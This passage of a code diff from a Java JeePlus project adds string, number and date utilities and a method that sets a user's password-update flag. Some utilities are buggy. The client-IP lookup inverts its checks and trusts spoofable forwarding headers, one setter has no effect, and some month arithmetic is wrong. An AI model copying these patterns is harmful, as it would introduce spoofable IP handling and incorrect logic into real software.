+		String remoteAddr = request.getHeader("X-Real-IP");
+		if (isNotBlank(remoteAddr)) {
+			remoteAddr = request.getHeader("X-Forwarded-For");
+		}else if (isNotBlank(remoteAddr)) {
+			remoteAddr = request.getHeader("Proxy-Client-IP");
+		}else if (isNotBlank(remoteAddr)) {
+			remoteAddr = request.getHeader("WL-Proxy-Client-IP");
+		}
+		return remoteAddr != null ? remoteAddr : request.getRemoteAddr();
+	}
+
+	/**
+	 * 驼峰命名法工具
+	 * @return
+	 * 		toCamelCase("hello_world") == "helloWorld"
+	 * 		toCapitalizeCamelCase("hello_world") == "HelloWorld"
+	 * 		toUnderScoreCase("helloWorld") = "hello_world"
+	 */
+	public static String toCamelCase(String s) {
+		if (s == null) {
+			return null;
+		}
+
+		s = s.toLowerCase();
+
+		StringBuilder sb = new StringBuilder(s.length());
+		boolean upperCase = false;
+		for (int i = 0; i < s.length(); i++) {
+			char c = s.charAt(i);
+
+			if (c == SEPARATOR) {
+				upperCase = true;
+			} else if (upperCase) {
+				sb.append(Character.toUpperCase(c));
+				upperCase = false;
+			} else {
+				sb.append(c);
+			}
+		}
+
+		return sb.toString();
+	}
+
+	/**
+	 * 驼峰命名法工具
+	 * @return
+	 * 		toCamelCase("hello_world") == "helloWorld"
+	 * 		toCapitalizeCamelCase("hello_world") == "HelloWorld"
+	 * 		toUnderScoreCase("helloWorld") = "hello_world"
+	 */
+	public static String toCapitalizeCamelCase(String s) {
+		if (s == null) {
+			return null;
+		}
+		s = toCamelCase(s);
+		return s.substring(0, 1).toUpperCase() + s.substring(1);
+	}
+
+	/**
+	 * 驼峰命名法工具
+	 * @return
+	 * 		toCamelCase("hello_world") == "helloWorld"
+	 * 		toCapitalizeCamelCase("hello_world") == "HelloWorld"
+	 * 		toUnderScoreCase("helloWorld") = "hello_world"
+	 */
+	public static String toUnderScoreCase(String s) {
+		if (s == null) {
+			return null;
+		}
+
+		StringBuilder sb = new StringBuilder();
+		boolean upperCase = false;
+		for (int i = 0; i < s.length(); i++) {
+			char c = s.charAt(i);
+
+			boolean nextUpperCase = true;
+
+			if (i < (s.length() - 1)) {
+				nextUpperCase = Character.isUpperCase(s.charAt(i + 1));
+			}
+
+			if ((i > 0) && Character.isUpperCase(c)) {
+				if (!upperCase || !nextUpperCase) {
+					sb.append(SEPARATOR);
+				}
+				upperCase = true;
+			} else {
+				upperCase = false;
+			}
+
+			sb.append(Character.toLowerCase(c));
+		}
+
+		return sb.toString();
+	}
+
+	/**
+	 * 如果不为空,则设置值
+	 * @param target
+	 * @param source
+	 */
+	public static void setValueIfNotBlank(String target, String source) {
+		if (isNotBlank(source)){
+			target = source;
+		}
+	}
+
+	/**
+	 * 转换为JS获取对象值,生成三目运算返回结果
+	 * @param objectString 对象串
+	 *   例如:row.user.id
+	 *   返回:!row?'':!row.user?'':!row.user.id?'':row.user.id
+	 */
+	public static String jsGetVal(String objectString){
+		StringBuilder result = new StringBuilder();
+		StringBuilder val = new StringBuilder();
+		String[] vals = split(objectString, ".");
+		for (int i=0; i<vals.length; i++){
+			val.append("." + vals[i]);
+			result.append("!"+(val.substring(1))+"?'':");
+		}
+		result.append(val.substring(1));
+		return result.toString();
+	}
+
+
+
+	public static boolean isChinese(char c) {
+		Character.UnicodeBlock ub = Character.UnicodeBlock.of(c);
+		if (ub == Character.UnicodeBlock.CJK_UNIFIED_IDEOGRAPHS || ub == Character.UnicodeBlock.CJK_COMPATIBILITY_IDEOGRAPHS
+				|| ub == Character.UnicodeBlock.CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A || ub == Character.UnicodeBlock.CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B
+				|| ub == Character.UnicodeBlock.CJK_SYMBOLS_AND_PUNCTUATION || ub == Character.UnicodeBlock.HALFWIDTH_AND_FULLWIDTH_FORMS
+				|| ub == Character.UnicodeBlock.GENERAL_PUNCTUATION) {
+			return true;
+		}
+		return false;
+	}
+
+	public static Map<String, String> StringToJson(String contentStr){
+		HashMap<String, String> requestMap = new HashMap<String, String>();
+
+
+		JSONObject jsonObject = JSONObject.fromObject(contentStr);//
+		Iterator<String> keys = jsonObject.keys();// 定义迭代器
+		String key = null;
+		String value = null;
+		while (keys.hasNext()) {
+			key = keys.next().toString();
+			value = jsonObject.get(key).toString();
+			requestMap.put(key.trim(), value.trim());
+		}
+		return requestMap;
+	}
+
+	/**
+	 * 根据键值对填充字符串,如("hello {name}",{name:"xiaoming"})
+	 * 输出:
+	 * @param content
+	 * @param map
+	 * @return
+	 */
+	public static String renderString(String content, Map<String, String> map){
+		Set<Map.Entry<String, String>> sets = map.entrySet();
+		for(Map.Entry<String, String> entry : sets) {
+			String regex = "\\{" + entry.getKey() + "\\}";
+			Pattern pattern = Pattern.compile(regex);
+			Matcher matcher = pattern.matcher(content);
+			content = matcher.replaceAll(entry.getValue());
+		}
+		return content;
+	}
+
+	/**
+	 * 提供精确的加法运算。
+	 * @param v1 被加数
+	 * @param v2 加数
+	 * @return 两个参数的和
+	 */
+	public static double add(double v1,double v2){
+		BigDecimal b1 = new BigDecimal(Double.toString(v1));
+		BigDecimal b2 = new BigDecimal(Double.toString(v2));
+		return b1.add(b2).doubleValue();
+	}
+	/**
+	 * 提供精确的减法运算。
+	 * @param v1 被减数
+	 * @param v2 减数
+	 * @return 两个参数的差
+	 */
+	public static double sub(double v1,double v2){
+		BigDecimal b1 = new BigDecimal(Double.toString(v1));
+		BigDecimal b2 = new BigDecimal(Double.toString(v2));
+		return b1.subtract(b2).doubleValue();
+	}
+	/**
+	 * 提供精确的乘法运算。
+	 * @param v1 被乘数
+	 * @param v2 乘数
+	 * @return 两个参数的积
+	 */
+	public static double mul(double v1,double v2){
+		BigDecimal b1 = new BigDecimal(Double.toString(v1));
+		BigDecimal b2 = new BigDecimal(Double.toString(v2));
+		return b1.multiply(b2).doubleValue();
+	}
+	/**
+	 * 提供(相对)精确的除法运算,当发生除不尽的情况时,精确到
+	 * 小数点以后10位,以后的数字四舍五入。
+	 * @param v1 被除数
+	 * @param v2 除数
+	 * @return 两个参数的商
+	 */
+	public static double div(double v1,double v2){
+		return div(v1,v2,DEF_DIV_SCALE);
+	}
+	/**
+	 * 提供(相对)精确的除法运算。当发生除不尽的情况时,由scale参数指
+	 * 定精度,以后的数字四舍五入。
+	 * @param v1 被除数
+	 * @param v2 除数
+	 * @param scale 表示表示需要精确到小数点以后几位。
+	 * @return 两个参数的商
+	 */
+	public static double div(double v1,double v2,int scale){
+		if(scale<0){
+			throw new IllegalArgumentException(
+					"The scale must be a positive integer or zero");
+		}
+		BigDecimal b1 = new BigDecimal(Double.toString(v1));
+		BigDecimal b2 = new BigDecimal(Double.toString(v2));
+		return b1.divide(b2,scale,BigDecimal.ROUND_HALF_UP).doubleValue();
+	}
+	/**
+	 * 提供精确的小数位四舍五入处理。
+	 * @param v 需要四舍五入的数字
+	 * @param scale 小数点后保留几位
+	 * @return 四舍五入后的结果
+	 */
+	public static double round(double v,int scale){
+		if(scale<0){
+			throw new IllegalArgumentException("The scale must be a positive integer or zero");
+		}
+		BigDecimal b = new BigDecimal(Double.toString(v));
+		BigDecimal one = new BigDecimal("1");
+		return b.divide(one,scale,BigDecimal.ROUND_HALF_UP).doubleValue();
+	}
+
+	public static Map<String,String> getByDictMap(){
+		Map<String,String> map = new HashMap<>();
+		return map;
+	}
+
+	public static String firstDay(String month,String day,String companyId) {
+		if(StringUtils.isBlank(month)) {
+			if (StringUtils.isBlank(day)) {
+				//获取上月第一天:
+				Calendar c = Calendar.getInstance();
+				c.add(Calendar.MONTH, -1);
+				c.set(Calendar.DAY_OF_MONTH, 1);//设置为1号,当前日期既为本月第一天
+				String first = format.format(c.getTime());
+				return first;
+			}else{
+				Calendar now = Calendar.getInstance();
+				int nowDay = now.get(Calendar.DAY_OF_MONTH);
+				now.set(Calendar.DAY_OF_MONTH, 0);
+				String last = format.format(now.getTime()).substring(8,10);
+				if (last.equals(day)){
+					return format.format(now.getTime()).substring(0,8)+"01";
+				}else {
+					if (nowDay < Integer.parseInt(day)) {
+						//获取上月第一天:
+						Calendar c = Calendar.getInstance();
+						c.add(Calendar.MONTH, -2);
+						c.set(Calendar.DAY_OF_MONTH, 1);//设置为1号,当前日期既为本月第一天
+						String first = format.format(c.getTime()).substring(0, 8) + (Integer.parseInt(day) < 10 ? "0" + Integer.parseInt(day) : day);
+						return first;
+					} else {
+						//获取上月第一天:
+						Calendar c = Calendar.getInstance();
+						c.add(Calendar.MONTH, -1);
+						c.set(Calendar.DAY_OF_MONTH, 1);//设置为1号,当前日期既为本月第一天
+						String first = format.format(c.getTime()).substring(0, 8) + (Integer.parseInt(day) < 10 ? "0" + Integer.parseInt(day) : day);
+						return first;
+					}
+				}
+			}
+		}else{
+			if (StringUtils.isBlank(day)) {
+				return month+"-01";
+			}else {
+				int m = Integer.parseInt(month.substring(5,7))-1;
+				if (m==1){
+					int year = Integer.parseInt(month.substring(0,4)) - 1;
+					return year+"-01-"+(Integer.parseInt(day)<10?"0"+day:day);
+				}else if(m>10){
+					return month.substring(0,5)+m+"-"+(Integer.parseInt(day)<10?"0"+Integer.parseInt(day):day);
+				}else{
+					return month.substring(0,5)+"0"+m+"-"+(Integer.parseInt(day)<10?"0"+Integer.parseInt(day):day);
+				}
+			}
+		}
+	}
+	public static String lastDay(String month,String day,String companyId) {
+		if(StringUtils.isBlank(month)) {
+			if (StringUtils.isBlank(day)) {
+				//获取上月最后一天
+				Calendar ca = Calendar.getInstance();
+				ca.set(Calendar.DAY_OF_MONTH, 0);
+				String last = format.format(ca.getTime());
+				return last;
+			}else{
+				Calendar now = Calendar.getInstance();
+				int nowDay = now.get(Calendar.DAY_OF_MONTH);
+				now.set(Calendar.DAY_OF_MONTH, 0);
+				String l = format.format(now.getTime()).substring(8,10);
+				if (l.equals(day)){
+					return format.format(now.getTime()).substring(0,8)+day;
+				}else {
+					if (nowDay < Integer.parseInt(day)) {
+						//获取上月最后一天
+
+						int days = Integer.parseInt(day) - 1;
+						if (days>0) {
+							Calendar ca = Calendar.getInstance();
+							ca.set(Calendar.DAY_OF_MONTH, 0);
+							String last = format.format(ca.getTime()).substring(0, 8) + (days < 10 ? "0" + days : days);
+							return last;
+						}else {
+							Calendar ca = Calendar.getInstance();
+							ca.set(Calendar.DAY_OF_MONTH, 1);
+							return format.format(ca.getTime());
+						}
+					} else {
+						//获取上月最后一天
+						int days = Integer.parseInt(day) - 1;
+						if (days>0) {
+							Calendar ca = Calendar.getInstance();
+							ca.set(Calendar.DAY_OF_MONTH, +1);
+							String last = format.format(ca.getTime()).substring(0, 8) + (days < 10 ? "0" + days : days);
+							return last;
+						}else {
+							Calendar ca = Calendar.getInstance();
+							ca.set(Calendar.DAY_OF_MONTH, 0);
+							return format.format(ca.getTime());
+						}
+					}
+				}
+			}
+		}else {
+			if (StringUtils.isBlank(day)) {
+				//格式化日期
+				SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
+				Calendar cal = Calendar.getInstance();
+				//设置年份
+				cal.set( Integer.parseInt(month.substring(0,4)),(Integer.parseInt(month.substring(5,7))-1),1);
+				//设置月份
+				//获取某月最大天数
+				int lastDay = cal.getActualMaximum(Calendar.DATE);
+				//设置日历中月份的最大天数
+				cal.set(Calendar.DAY_OF_MONTH, lastDay);
+				return sdf.format(cal.getTime());
+			}else {
+				int days = Integer.parseInt(day)-1;
+				if (days>0){
+					return month+"-"+(days<10?"0"+days:days);
+				}else{
+					Calendar calendar = Calendar.getInstance();
+					Date date = null;
+					try {
+						date = format.parse(month+"-01");
+					} catch (ParseException e) {
+						e.printStackTrace();
+					}
+					calendar.setTime(date);
+					calendar.set(Calendar.DAY_OF_MONTH, -1);
+					int lastDay = calendar.getActualMaximum(Calendar.DATE);
+					//设置日历中月份的最大天数
+					calendar.set(Calendar.DAY_OF_MONTH, lastDay);
+					return format.format(calendar.getTime());
+				}
+			}
+		}
+	}
+	public static Boolean isWeek(String day) {
+		SimpleDateFormat sdfDay = new SimpleDateFormat("yyyy-MM-dd");
+		Date date= null;//取时间
+		try {
+			date = sdfDay.parse(day);
+			Calendar calendar = Calendar.getInstance();
+			calendar.setTime(date);
+			int week  =  calendar.get(Calendar.DAY_OF_WEEK)-1;
+			if (week==0 || week==6){
+				return true;
+			}else {
+				return false;
+			}
+		} catch (ParseException e) {
+			e.printStackTrace();
+		}
+		return false;
+	}
+
+	public static int lateEarlyTime(String cardType,Date start,Date end,Date now){
+		Integer nowh = Integer.parseInt(sdfs.format(new Date()).substring(0,2));
+		Integer nowm = Integer.parseInt(sdfs.format(new Date()).substring(2,4));
+		if (cardType.equals("1")){
+			Integer ruleh = Integer.parseInt(sdfs.format(start).substring(0,2));
+			Integer rulem = Integer.parseInt(sdfs.format(start).substring(2,4));
+			if (ruleh - nowh < 0 && rulem >= nowm){
+				return nowh - ruleh;
+			}else if(ruleh - nowh < 0 && rulem < nowm){
+				return nowh - ruleh + 1;
+			}else {
+				return 0;
+			}
+		}else {
+			Integer ruleh = Integer.parseInt(sdfs.format(end).substring(0,2));
+			Integer rulem = Integer.parseInt(sdfs.format(end).substring(2,4));
+			if (ruleh - nowh > 0 && rulem > nowm){
+				return ruleh - nowh + 1;
+			}else if(ruleh - nowh > 0 && rulem <= nowm){
+				return ruleh - nowh;
+			}else {
+				return 0;
+			}
+		}
+	}
+
+	public static Map<String,String> getMonth() {
+		//获取上月最后一天
+		Calendar ca = Calendar.getInstance();
+		String month = format.format(ca.getTime()).substring(0,7);
+		ca.set(Calendar.DAY_OF_MONTH, 0);
+		String oldMonth = format.format(ca.getTime()).substring(0,7);
+		Map<String,String> map = new HashMap<>();
+		map.put("1",month);
+		map.put("2",oldMonth);
+		return map;
+	}
+
+
+	/**
+	 * date转Str
+	 * @param currentTime
+	 * @return
+	 */
+	public static String getDateStr(Date currentTime) {
+		SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");
+		String dateString = formatter.format(currentTime);
+		return dateString;
+	}
+
+
+	//@ author: walker
+
+	/**
+	 * ⽤正则表达式判断字符串是否为数字(含负数)
+	 * @param str
+	 * @return
+	 */
+	public static boolean isNumeric(String str) {
+		String regEx = "^-?[0-9]+$";
+		Pattern pat = Pattern.compile(regEx);
+		Matcher mat = pat.matcher(str);
+		if (mat.find()) {
+			return true;
+		}else {
+			return false;
+		}
+	}
+
+
+	/**
+	 * 是否包含字符串
+	 *
+	 * @param str 验证字符串
+	 * @param strs 字符串组
+	 * @return 包含返回true
+	 */
+	public static boolean inStringIgnoreCase(String str, String... strs)
+	{
+		if (str != null && strs != null)
+		{
+			for (String s : strs)
+			{
+				if (str.equalsIgnoreCase(trim(s)))
+				{
+					return true;
+				}
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * 将下划线大写方式命名的字符串转换为驼峰式。如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。 例如:HELLO_WORLD->HelloWorld
+	 *
+	 * @param name 转换前的下划线大写方式命名的字符串
+	 * @return 转换后的驼峰式命名的字符串
+	 */
+	public static String convertToCamelCase(String name)
+	{
+		StringBuilder result = new StringBuilder();
+		// 快速检查
+		if (name == null || name.isEmpty())
+		{
+			// 没必要转换
+			return "";
+		}
+		else if (!name.contains("_"))
+		{
+			// 不含下划线,仅将首字母大写
+			return name.substring(0, 1).toUpperCase() + name.substring(1);
+		}
+		// 用下划线将原始字符串分割
+		String[] camels = name.split("_");
+		for (String camel : camels)
+		{
+			// 跳过原始字符串中开头、结尾的下换线或双重下划线
+			if (camel.isEmpty())
+			{
+				continue;
+			}
+			// 首字母大写
+			result.append(camel.substring(0, 1).toUpperCase());
+			result.append(camel.substring(1).toLowerCase());
+		}
+		return result.toString();
+	}
+
+	/**
+	 * * 判断一个对象是否为空
+	 *
+	 * @param object Object
+	 * @return true:为空 false:非空
+	 */
+	public static boolean isNull(Object object)
+	{
+		return object == null;
+	}
+}

+ 10 - 0
jeeplus-modules/jeeplus-system/src/main/java/com/jeeplus/sys/feign/UserApiImpl.java

@@ -36,6 +36,7 @@ public class UserApiImpl implements IUserApi {
         userService.updateById ( UserWrapper.INSTANCE.toEntity ( userDTO ) );
     }
 
+
     @Override
     public void clearCache(UserDTO userDTO) {
         UserUtils.deleteCache ( userDTO );
@@ -93,4 +94,13 @@ public class UserApiImpl implements IUserApi {
         return UserWrapper.INSTANCE.toDTO ( userService.lambdaQuery ( ).eq ( User::getTenantId, TenantUtils.getTenantId ( ) ).eq ( User::getName, name ).one ( ) );
     }
 
+    /**
+     * 修改用户更新密码状态信息
+     * @param userDTO
+     */
+    @Override
+    public void updateUserUpPassword(UserDTO userDTO) {
+        userService.updateUserUpPassword (userDTO);
+    }
+
 }

+ 6 - 0
jeeplus-modules/jeeplus-system/src/main/java/com/jeeplus/sys/mapper/UserMapper.java

@@ -123,4 +123,10 @@ public interface UserMapper extends BaseMapper <User> {
     List <OfficeDTO> getUserByOffice(@Param("officeIds") List<String> officeIds, @Param("type") String type);
 
 
+    /**
+     * 修改用户更新密码状态信息
+     * @param userDTO
+     */
+    void updateUserUpPassword(UserDTO userDTO);
+
 }

+ 6 - 0
jeeplus-modules/jeeplus-system/src/main/java/com/jeeplus/sys/mapper/xml/UserMapper.xml

@@ -227,4 +227,10 @@
             and a.is_admin IS NULL
         </where>
     </select>
+
+    <update id="updateUserUpPassword">
+		update sys_user set
+		up_password = 1
+		where id = #{id}
+	</update>
 </mapper>

+ 8 - 0
jeeplus-modules/jeeplus-system/src/main/java/com/jeeplus/sys/service/UserService.java

@@ -266,4 +266,12 @@ public class UserService extends ServiceImpl <UserMapper, User> {
     public List<OfficeDTO> getUserByOffice(List<String> officeIds, String type){
         return userMapper.getUserByOffice(officeIds,type);
     }
+
+    /**
+     * 修改用户更新密码状态信息
+     * @param userDTO
+     */
+    public void updateUserUpPassword(UserDTO userDTO) {
+        baseMapper.updateUserUpPassword (userDTO);
+    }
 }